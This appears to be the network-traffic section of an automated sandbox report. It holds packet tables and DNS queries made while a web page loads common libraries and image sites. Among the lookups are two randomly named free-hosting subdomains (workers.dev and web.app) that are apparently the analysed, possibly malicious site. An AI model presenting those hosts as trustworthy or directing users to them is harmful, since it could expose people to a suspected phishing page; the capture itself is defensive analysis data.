Apr 29, 2024 02:01:39.695929050 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.695956945 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.695964098 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.695982933 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.695996046 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.696005106 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.696048975 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.696063995 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.696089029 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.696111917 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.696307898 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.696324110 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.696369886 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.696376085 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.696402073 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.715940952 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.716037989 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.716069937 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.717050076 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.717092037 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.717103004 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.719635963 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.719681025 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.719695091 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.724729061 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.724755049 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.724788904 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.724801064 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.724838018 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.727315903 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.732383013 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.732393980 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.732441902 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.732459068 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.732470989 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.737473011 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.737526894 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.737526894 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.737554073 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.737567902 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.742597103 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.742640018 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.742660046 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.742675066 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.742686033 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.742722034 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.742759943 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.817929983 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.817959070 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.818017960 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.818039894 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.818073988 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.818474054 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.818480968 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.818487883 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.818514109 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.818542004 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.818550110 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.818572044 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.821294069 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.821327925 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.821341038 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.821351051 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.821356058 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.821397066 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.821407080 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.821419954 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.939380884 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.939409018 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.939528942 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.939568043 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.939718008 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.939723969 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.939753056 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.939764023 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.939765930 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.939778090 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.939788103 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.939796925 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.939809084 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.939834118 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:42.190099001 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:42.190135002 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:42.191417933 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:42.191430092 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:42.191498041 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:42.192384005 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:42.193263054 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:42.193573952 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:42.194555998 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:42.194760084 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:42.194853067 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:42.194860935 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:42.234785080 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:42.508364916 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:42.508397102 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:42.563797951 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:42.563848972 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:42.565119028 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:42.565151930 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:42.565510035 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:42.565552950 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:43.034369946 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.034396887 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.034418106 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.034435034 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.034455061 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.034466028 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.034471989 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.034492016 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.034503937 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.034511089 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.034822941 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.034842968 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.034862041 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.034869909 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.034874916 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.034904003 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.035449028 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.035468102 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.035490036 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.035490990 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.035501957 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.035535097 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.035542965 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.035547972 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.035573959 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.036464930 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.036498070 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.036514044 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.036520958 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.036588907 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.036591053 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.036600113 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.036628962 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.036633968 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.037441969 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.037463903 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.037493944 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.037503004 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.037530899 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.037564993 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.037571907 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.037604094 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.038245916 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.038311005 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.038335085 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.038372993 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.038379908 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.038412094 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.038425922 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.038430929 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.038470984 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.039184093 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.039243937 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.039269924 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.039284945 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.039290905 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.039326906 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.039331913 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.040358067 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.040385008 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.040430069 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.040438890 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.040456057 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:43.040498018 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.042028904 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:43.042046070 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:02:21.398983002 CEST	49794	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:02:21.399029970 CEST	443	49794	142.250.191.100	192.168.2.4
Apr 29, 2024 02:02:21.399089098 CEST	49794	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:02:21.399344921 CEST	49794	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:02:21.399355888 CEST	443	49794	142.250.191.100	192.168.2.4
Apr 29, 2024 02:02:21.632961988 CEST	443	49794	142.250.191.100	192.168.2.4
Apr 29, 2024 02:02:21.673810959 CEST	49794	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:02:21.673854113 CEST	443	49794	142.250.191.100	192.168.2.4
Apr 29, 2024 02:02:21.674411058 CEST	443	49794	142.250.191.100	192.168.2.4
Apr 29, 2024 02:02:21.675179005 CEST	49794	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:02:21.675275087 CEST	443	49794	142.250.191.100	192.168.2.4
Apr 29, 2024 02:02:21.734474897 CEST	49794	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:02:21.819977999 CEST	49796	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:02:21.820028067 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:21.820087910 CEST	49796	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:02:21.820712090 CEST	49796	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:02:21.820729971 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:22.432524920 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:22.432631016 CEST	49796	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:02:22.437108994 CEST	49796	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:02:22.437133074 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:22.437737942 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:22.446860075 CEST	49796	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:02:22.488121033 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:23.025866985 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:23.025897980 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:23.025913954 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:23.025962114 CEST	49796	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:02:23.025994062 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:23.026010990 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:23.026020050 CEST	49796	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:02:23.026065111 CEST	49796	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:02:23.026072025 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:23.026082993 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:23.026113033 CEST	49796	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:02:23.032474995 CEST	49796	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:02:23.032501936 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:23.032517910 CEST	49796	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:02:23.032524109 CEST	443	49796	40.127.169.103	192.168.2.4
Apr 29, 2024 02:02:27.311659098 CEST	49724	80	192.168.2.4	72.21.81.240
Apr 29, 2024 02:02:27.421453953 CEST	80	49724	72.21.81.240	192.168.2.4
Apr 29, 2024 02:02:27.421552896 CEST	49724	80	192.168.2.4	72.21.81.240
Apr 29, 2024 02:02:31.657294035 CEST	443	49794	142.250.191.100	192.168.2.4
Apr 29, 2024 02:02:31.657376051 CEST	443	49794	142.250.191.100	192.168.2.4
Apr 29, 2024 02:02:31.657449007 CEST	49794	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:02:33.203711033 CEST	49794	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:02:33.203764915 CEST	443	49794	142.250.191.100	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 29, 2024 02:01:21.309329033 CEST	52902	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:21.309525967 CEST	56738	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:21.384896040 CEST	53	60940	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:21.386321068 CEST	53	56321	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:21.420157909 CEST	53	56738	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:21.420186996 CEST	53	52902	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:22.337151051 CEST	53	62127	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:22.957607985 CEST	62678	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:22.957782030 CEST	53582	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:23.075311899 CEST	53	62678	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:23.077044010 CEST	53	53582	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:23.629251003 CEST	61888	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:23.629764080 CEST	62811	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:23.740704060 CEST	53	61888	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:23.740930080 CEST	53	62811	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:34.050394058 CEST	50087	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:34.050733089 CEST	50876	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:34.053020954 CEST	52736	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:34.053328991 CEST	65032	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:34.054357052 CEST	55162	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:34.054615021 CEST	61574	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:34.056996107 CEST	57110	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:34.057198048 CEST	61903	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:34.132179022 CEST	53	64655	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:34.161457062 CEST	53	50087	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:34.162570953 CEST	53	50876	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:34.162594080 CEST	53	52951	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:34.163872957 CEST	53	65032	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:34.167359114 CEST	53	61903	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:34.168083906 CEST	53	57110	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:34.179974079 CEST	53	61574	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:34.180305004 CEST	53	55162	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:34.764482021 CEST	53	61876	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:35.112324953 CEST	54530	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:35.112541914 CEST	51253	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:35.112880945 CEST	58547	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:35.112982988 CEST	63880	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:35.113756895 CEST	50003	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:35.114078999 CEST	62762	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:35.115773916 CEST	63524	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:35.116137028 CEST	50529	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:35.224216938 CEST	53	54530	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:35.224256039 CEST	53	51253	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:35.225164890 CEST	53	56301	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:35.240112066 CEST	53	50529	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:35.246412992 CEST	53	50003	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:35.247363091 CEST	53	63524	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:35.335596085 CEST	53	62762	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:38.909076929 CEST	138	138	192.168.2.4	192.168.2.255
Apr 29, 2024 02:01:38.913470030 CEST	63730	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:38.913695097 CEST	53402	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:38.918272018 CEST	52144	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:38.918450117 CEST	52931	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:38.926928997 CEST	53768	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:38.927407980 CEST	64167	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:38.928591967 CEST	63892	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:38.928889036 CEST	54709	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:38.931294918 CEST	52576	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:38.931607962 CEST	57347	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:39.026504040 CEST	53	61805	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:39.039911985 CEST	53	63892	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:39.040127993 CEST	53	54709	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:39.053246021 CEST	53	57347	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:39.054732084 CEST	53	63730	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:39.057184935 CEST	53	53402	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:39.061717987 CEST	53	64167	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:39.090368032 CEST	53	53768	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:39.222832918 CEST	53	52576	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:42.302301884 CEST	53	53053	1.1.1.1	192.168.2.4
Apr 29, 2024 02:01:43.068583965 CEST	58088	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:01:43.068991899 CEST	60333	53	192.168.2.4	1.1.1.1
Apr 29, 2024 02:02:02.342217922 CEST	53	58922	1.1.1.1	192.168.2.4
Apr 29, 2024 02:02:21.509080887 CEST	53	64721	1.1.1.1	192.168.2.4
Apr 29, 2024 02:02:24.846806049 CEST	53	54153	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 29, 2024 02:01:35.335699081 CEST	192.168.2.4	1.1.1.1	c265	(Port unreachable)	Destination Unreachable
Apr 29, 2024 02:01:43.213366032 CEST	192.168.2.4	1.1.1.1	c285	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 29, 2024 02:01:21.309329033 CEST	192.168.2.4	1.1.1.1	0x3f0f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:21.309525967 CEST	192.168.2.4	1.1.1.1	0x21fa	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 29, 2024 02:01:22.957607985 CEST	192.168.2.4	1.1.1.1	0x62e6	Standard query (0)	cloudsss-c367.iardainwkasn.workers.dev	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:22.957782030 CEST	192.168.2.4	1.1.1.1	0x5d81	Standard query (0)	cloudsss-c367.iardainwkasn.workers.dev	65	IN (0x0001)	false
Apr 29, 2024 02:01:23.629251003 CEST	192.168.2.4	1.1.1.1	0x1f48	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:23.629764080 CEST	192.168.2.4	1.1.1.1	0x23b9	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 29, 2024 02:01:34.050394058 CEST	192.168.2.4	1.1.1.1	0x70f8	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:34.050733089 CEST	192.168.2.4	1.1.1.1	0x7c0c	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Apr 29, 2024 02:01:34.053020954 CEST	192.168.2.4	1.1.1.1	0x74c9	Standard query (0)	kit.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:34.053328991 CEST	192.168.2.4	1.1.1.1	0x2a11	Standard query (0)	kit.fontawesome.com	65	IN (0x0001)	false
Apr 29, 2024 02:01:34.054357052 CEST	192.168.2.4	1.1.1.1	0xd84f	Standard query (0)	hiirscktcy.web.app	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:34.054615021 CEST	192.168.2.4	1.1.1.1	0xc8bd	Standard query (0)	hiirscktcy.web.app	65	IN (0x0001)	false
Apr 29, 2024 02:01:34.056996107 CEST	192.168.2.4	1.1.1.1	0xc627	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:34.057198048 CEST	192.168.2.4	1.1.1.1	0x5bd4	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 29, 2024 02:01:35.112324953 CEST	192.168.2.4	1.1.1.1	0x5cbe	Standard query (0)	www.pinclipart.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:35.112541914 CEST	192.168.2.4	1.1.1.1	0x56ff	Standard query (0)	www.pinclipart.com	65	IN (0x0001)	false
Apr 29, 2024 02:01:35.112880945 CEST	192.168.2.4	1.1.1.1	0x2013	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:35.112982988 CEST	192.168.2.4	1.1.1.1	0x2e02	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Apr 29, 2024 02:01:35.113756895 CEST	192.168.2.4	1.1.1.1	0x1fcc	Standard query (0)	image.similarpng.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:35.114078999 CEST	192.168.2.4	1.1.1.1	0xfc29	Standard query (0)	image.similarpng.com	65	IN (0x0001)	false
Apr 29, 2024 02:01:35.115773916 CEST	192.168.2.4	1.1.1.1	0xcae8	Standard query (0)	img2.pngdownload.id	A (IP address)	IN (0x0001)	false
